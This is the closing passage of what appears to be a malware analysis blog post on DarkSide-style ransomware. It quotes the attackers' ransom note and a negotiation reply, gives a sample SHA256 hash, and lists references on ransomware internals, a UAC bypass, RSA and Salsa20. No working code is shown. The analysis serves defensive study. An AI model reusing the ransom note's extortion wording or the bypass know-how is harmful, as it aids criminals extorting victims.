Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data.
But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network.
Follow our instructions below and you will recover all your data.
```

```
what guarantees?
```

```
-----
We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests.
All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems.
We guarantee to decrypt one file for free. Go to the site and contact us.
```

Sha256

```
afb22b1ff281c085b60052831ead0a0ed300fac0160f87851dacc67d4e158178
```

References:

DarkSide ransomware analysis

[This blog post will try to explain how the ransomware called DarkSide works. Based on my research, this ransomware uses...](#)

zawadidone.nl

Elevated COM Object UAC Bypass (WIN 7)

HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID riid, void **ppv) { BIND_OPTS3 bo; WCHAR...

wikileaks.org

RegOpenKeyEx Function

Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String...

www.jasinskionline.com

WastedLocker: technical analysis

The use of crypto-ransomware in targeted attacks has become an ordinary occurrence lately: new incidents are being...

securelist.com

Understanding RSA public key.

What is public and private key in RSA Signing?

medium.com

Salsa20

The Salsa quarter-round function. Four parallel copies make a round. General Designers Daniel J.

en.wikipedia.org

Buy me a Pizza  ?

GhoulSec is a cyber security boi who is focusing on malware analysis/reversing

Creating contents related to cyber security especially in malware analysis/reversing which aim to help other people who...

www.buymeacoffee.com